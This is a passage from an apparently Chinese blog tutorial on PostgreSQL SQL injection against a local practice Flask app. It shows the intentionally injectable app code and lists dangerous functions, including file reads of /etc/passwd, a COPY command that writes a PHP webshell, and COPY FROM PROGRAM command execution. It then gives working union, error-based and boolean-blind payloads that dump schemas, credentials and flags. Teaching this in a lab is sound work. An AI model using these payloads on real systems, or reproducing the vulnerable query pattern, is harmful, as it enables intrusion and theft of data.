style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">query</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        result </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> cursor</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">fetchall</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"&#x3C;h3>Executed Query: </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">query</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/h3>&#x3C;p>Result: </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">result</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/p>\"</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    except</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> Exception</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> as</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> e</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">        # 将数据库报错直接打印到前端（方便练习报错注入）</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"&#x3C;h3>Database Error:&#x3C;/h3>&#x3C;p></span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#998418;--shiki-dark:#B8A965\">str</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">e</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/p>\"</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    finally</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        cursor</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">close</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        conn</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">close</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __name__</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> ==</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__main__</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">run</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">debug</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">True</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> port</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">5000</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p>最后运行这个应用：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>python3 app.py</span></span></code></pre>\n<p>然后访问<code>http://localhost:5000/user?id=1</code>，应该能看到正常页面返回了admin</p>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/2.png\" class=\"\"></p>\n<h2 id=\"注入相关符号与函数\"><a class=\"anchor\" href=\"#注入相关符号与函数\">#</a> 注入相关符号与函数</h2>\n<ul>\n<li>\n<p>注释符：单行注释：<code>-- </code>与MySQL一样为两个减号，后面通常可以加一个空格</p>\n<p>​\t       多行/内联注释：<code>/*.....*/</code>，某些情况下可以用来替代空格绕过过滤</p>\n</li>\n<li>\n<p>关键注入查询函数：</p>\n<ol>\n<li><code>version()</code>：获取PostgreSQL的详细版本信息，不同版本的特性（比如RCE的方法）差异很大</li>\n<li><code>current_database()</code>或<code>current_catalog</code>：获取当前连接的数据库名称</li>\n<li><code>current_user</code>或<code>user</code>：获取当前执行查询的数据库用户名</li>\n<li><code>session_user</code>：获取建立数据库连接时的原始用户名</li>\n<li><code>current_setting('data_directory')</code>：获取数据库文件的物理存储路径（通常需要较高权限，有助于后续的目录遍历或写文件）</li>\n</ol>\n</li>\n<li>\n<p><code>pg_sleep(seconds)</code>：让数据库暂停执行指定的秒数</p>\n</li>\n<li>\n<p><code>substring(string,start,length)</code>或<code>substr()</code>：用于逐个字符拆解，可以配合<code>ASCII()</code>和<code>pg_sleep()</code>进行时间/布尔盲注，比如：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>substring((SELECT current_user),1,1)</span></span>\n<span class=\"line\"><span># 从当前用户名的第一个字符开始截取一个长度的字符</span></span></code></pre>\n</li>\n<li>\n<p><code>ascii(char)</code>和<code>chr(int)</code>：<code>ascii()</code>可以将字符转为数字，方便使用<code>&gt;</code>或<code>&lt;</code>进行二分法盲注；<code>chr()</code>可以将数字转回字符，如果过滤了单引号导致无法输入<code>'admin'</code>可以采用如下语句实现绕过：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>chr(97)||chr(100)||chr(109)||chr(105)||chr(110)</span></span></code></pre>\n</li>\n<li>\n<p>类型转换符：<code>::type</code>或<code>CAST(expr AS type)</code>，可以强行将数据转换为指定类型，在UNION联合注入中，如果不知道原列表的类型可以全部强转为文本类型来避免报错：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>UNION SELECT NULL, 'admin'::text, 'password'::text</span></span></code></pre>\n</li>\n<li>\n<p>字符串拼接符：<code>||</code>，PostgreSQL不支持MySQL中的<code>concat()</code>语法，拼接字符串必须使用管道符，可以实现即将多个字段的结果合并到一列输出：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>UNION SELECT 1, username || ':' || password FROM users</span></span></code></pre>\n</li>\n<li>\n<p><code>string_agg()</code>，类似于<code>group_concat()</code>可以直接将返回内容合并为一行输出</p>\n</li>\n<li>\n<p><strong>读取本地文件</strong>：<code>pg_read_file(filename)</code>，可以读取服务器上的绝对路径文件内容，比如<code>/etc/passwd</code></p>\n</li>\n<li>\n<p><strong>写入文件与命令执行</strong>：<code>COPY ... FROM / TO</code>，原本是用于导入数据的命令，可以实现危险操作：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>copy (select '&#x3C;?php phpinfo(); ?>') to '/var/www/html/shell.php'</span></span></code></pre>\n</li>\n<li>\n<p>在PostgreSQL 9.3版本以上中引入了<code>PROGRAM</code>参数，可以直接让数据库执行操作系统命令：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>COPY 任意表名 FROM PROGRAM 'id > /tmp/hacked.txt';</span></span></code></pre>\n</li>\n<li>\n<p><code>length()</code>：获取参数字符串的长度</p>\n</li>\n</ul>\n<h2 id=\"union联合注入\"><a class=\"anchor\" href=\"#union联合注入\">#</a> union联合注入</h2>\n<p>我们所写的app.py文件为数字型注入：</p>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/3.png\" class=\"\"></p>\n<p>按照MySQL的查询步骤，接下来用order by判断列数：</p>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/4.png\" class=\"\"></p>\n<p>很奇怪了，为什么写的时候明明有id、username、password三列，最后<code>order by 3</code>会报错呢</p>\n<p>原因是我们的app.py中写的是：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-sql\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">SELECT</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> username </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">FROM</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> public</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">.</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">users</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> WHERE</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> id </span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">user_id</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span></code></pre>\n<p><code>order by</code>和<code>union</code>探测的并不是底层物理表有多少列，而是这句SQL查询最终返回多少列，上述这句SQL查询只返回了username一列字段，如果我们加上<code>*</code>变成：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-sql\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">SELECT</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> *</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> FROM</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> public</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">.</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">users</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> WHERE</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> id </span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">user_id</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span></code></pre>\n<p>结果就不一样了，<code>*</code>代表查询所有列，此时的结果集就会包含id、username、password完整的三列</p>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/5.png\" class=\"\"></p>\n<p>以上为修改后端代码之后的结果</p>\n<p>当我们想利用<code>current_database()</code>查询连接的数据库时，会出现这种情况：</p>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/6.png\" class=\"\"></p>\n<p>这就是我们之前在<code>::type</code>提到的类型不匹配，在MySQL中，如果把一个1塞进文本列里，MySQL会把他变为字符串<code>'1'</code>，但是PostgreSQL极度严谨，他的规则是：<strong>原查询的数据类型必须与union拼接数据查询类型完全相同</strong>，所以在这里我们需要用到类型转换符<code>::type</code>或者直接把<code>3</code>改为字符串类型</p>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/7.png\" class=\"\"></p>\n<p>当然用<code>current_catalog</code>也是可以的：</p>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/8.png\" class=\"\"></p>\n<p>这样我们就查询出来了连接的数据库名称为postgre_lab，接下来我们可以试试查询所有的schema字段</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?id=-1 union select 1,(select nspname from pg_namespace limit 1 offset 0 ),'3' -- </span></span></code></pre>\n<p>这里如果我们直接传入：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?id=-1 union select 1,(select nspname from pg_namespace),'3' -- </span></span></code></pre>\n<p>会显示返回的结果超过一行，所以我们需要用到<code>limit ... offset ...</code>来进行限制</p>\n<p>在之前的SQL文章中提到过其用法：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>limit 返回的数量 offset 跳过的行数</span></span>\n<span class=\"line\"><span>所以limit 0,1用offset表示为limit 1 offset 0</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/10.png\" class=\"\"></p>\n<p>其实也可以直接查询所有的schema：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?id=-1 union select 1,nspname,'3' from pg_namespace --</span></span></code></pre>\n<p>或者利用<code>string_agg()</code>：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?id=-1 union select 1,(select string_agg(nspname,'~') from pg_namespace),'3' --</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/11.png\" class=\"\"></p>\n<p>那么接下来我们试试查询flag这个schema里面的内容：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?id=-1 union select 1,(select string_agg(relname,'~') from pg_class where relnamespace = (select oid from pg_namespace where nspname='flag')), '3' -- </span></span></code></pre>\n<p>这个payload的意思是查询pg_class里面与<code>nspname='flag'</code>相同<code>oid</code>的<code>relnamespace</code>的表名</p>\n<p>或者还有一种方法：join联合查询</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?id=-1 union select 1,(select string_agg(relname,'~') from pg_class c join pg_namespace n on c.relnamespace = n.oid where n.nspname='flag'),'3' --</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/12.png\" class=\"\"></p>\n<p>在尝试这些payload之前ZLARYY想过这个payload但是是错误的：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?id=-1 union select 1,(select string_agg(relname,'~') from pg_class where nspname='flag'),'3' --</span></span></code></pre>\n<p>这是由于pg_class这个元数据里面没有存储nspname这个字段，只记录了这一个叫做<code>relnamespace</code>的数字编号（OID），用来指向它属于哪个模式schema，所以我们需要利用oid搭桥去找寻我们想要查询的表</p>\n<p>接下来我们需要查询flag这个表里面的字段名：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?id=-1 union select 1,(select string_agg(attname,'~') from pg_attribute where attrelid = (select oid from pg_class where relname='flag')), '3' -- </span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/13.png\" class=\"\"></p>\n<p>这里必须把<code>attrelid</code>后面的判定条件换成表的<code>oid</code>而不能继续沿用查表时候的schema的oid</p>\n<p>最后我们查询flag模式下的flag表里面的flag2字段的值：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?id=-1 union select 1,flag2,'3' from \"flag\".flag --</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/14.png\" class=\"\"></p>\n<p><strong>通过这个流程我们成功查询到了其他schema下的flag，在之前环境配置中我们在当前users的表中也埋了一个flag，我们继续试试</strong></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?id=-1 union select 1,current_database(),'3' -- </span></span>\n<span class=\"line\"><span># 查询当前数据库</span></span>\n<span class=\"line\"><span>?id=-1 union select 1,(select nspname from pg_namespace),'3' -- </span></span>\n<span class=\"line\"><span># 查询所有的schema名</span></span>\n<span class=\"line\"><span>?id=-1 union select 1,(select string_agg(relname,'~') from pg_class where relnamespace=(select oid from pg_namespace where nspname='public')),'3' --</span></span>\n<span class=\"line\"><span># 查询字段名为public下的所有表名</span></span>\n<span class=\"line\"><span>?id=-1 union select 1,(select string_agg(attname,'~') from pg_attribute where attrelid=(select oid from pg_class where relname='users')),'3' --</span></span>\n<span class=\"line\"><span># 查询users表下的所有列名</span></span>\n<span class=\"line\"><span>?id=-1 union select 1,(select string_agg(username || '~' || password,'+') from users),'3' --</span></span>\n<span class=\"line\"><span># 查询username和password并一起输出</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/15.png\" class=\"\"></p>\n<p>这里不能像MySQL一样使用<code>string_agg(attname,'~',password)</code>，因为<code>string_agg()</code>函数的作用是把多行数据合并成一行。它的标准官方语法是严格的两个参数，所以只能采用<code>||</code>横向拼接列，再用<code>string_agg</code>纵向聚合行</p>\n<h2 id=\"报错注入\"><a class=\"anchor\" href=\"#报错注入\">#</a> 报错注入</h2>\n<h3 id=\"类型转换错误\"><a class=\"anchor\" href=\"#类型转换错误\">#</a> 类型转换错误</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-sql\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">SELECT</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> CAST</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">version</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> AS</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> integer</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">;</span></span></code></pre>\n<p>这条命令会因为无法将<code>version()</code>的结果转换为integer而报错暴露原始字符：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?id=1 and 1=cast((select current_database() limit 1) as integer)</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/16.png\" class=\"\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?id=1 and 1=cast((select string_agg(nspname,'~') from pg_namespace limit 1) as integer)</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/17.png\" class=\"\"></p>\n<p>后面的流程其实都相差不大只需要修改括号里的查询语句就行，这里直接给出payload吧：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># 查询其他schema下的flag</span></span>\n<span class=\"line\"><span>?id=1 and 1=cast((select string_agg(relname,'~') from pg_class where relnamespace=(select oid from pg_namespace where nspname='flag') limit 1) as integer)</span></span>\n<span class=\"line\"><span># invalid input syntax for type integer: \"flag_id_seq~flag~flag_pkey\"</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>?id=1 and 1=cast((select string_agg(attname,'~') from pg_attribute where attrelid=(select oid from pg_class where relname='flag') limit 1) as integer)</span></span>\n<span class=\"line\"><span># invalid input syntax for type integer: \"cmax~cmin~ctid~flag2~id~tableoid~xmax~xmin\"</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>?id=1 and 1=cast((select flag2 from \"flag\".flag limit 1) as integer)</span></span>\n<span class=\"line\"><span># invalid input syntax for type integer: \"ZLARYY&#123;W0vv_Y0u_@r3_r3al1y_P0stgr3_SQL_ma5t3r!!!&#125;\"</span></span></code></pre>\n<p>除了转换为<code>integer</code>还可以转换为<code>numeric</code>、<code>date</code>、<code>uuid</code>、<code>json/jsonB</code>、<code>regclass</code>、<code>xml</code>、<code>integer[]</code>、<code>tsquery</code>等：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?id=1 and 1=cast((select current_database() limit 1) as numeric)</span></span>\n<span class=\"line\"><span>或</span></span>\n<span class=\"line\"><span>?id=1 and 1=cast((select current_database() limit 1)::numeric)</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>?id=1 and cast((select current_database() limit 1) as uuid) is not null</span></span>\n<span class=\"line\"><span>?id=1 and cast((select current_database() limit 1) as regclass) is not null</span></span>\n<span class=\"line\"><span>?id=1 and cast((select current_database() limit 1) as jsonB) is not null</span></span>\n<span class=\"line\"><span>?id=1 and cast((select current_database() limit 1) as integer[]) is not null</span></span></code></pre>\n<h2 id=\"布尔盲注\"><a class=\"anchor\" href=\"#布尔盲注\">#</a> 布尔盲注</h2>\n<p>与MySQL一样我们需要能看到真页面和假页面这个条件，在我们的靶场中可以视作是否返回admin</p>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/18.png\" class=\"\"></p>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/19.png\" class=\"\"></p>\n<p>这里我们可以用到的函数与MySQL差不多：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>ascii()</span></span>\n<span class=\"line\"><span>length()</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?id=1 and length(current_database())=11 -- </span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/20.png\" class=\"\"></p>\n<p>这样就能判断出数据库名长度为11了</p>\n<p>其实都可以参考本博客SQL一栏，原理都是一样的，这里给些payload吧：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code 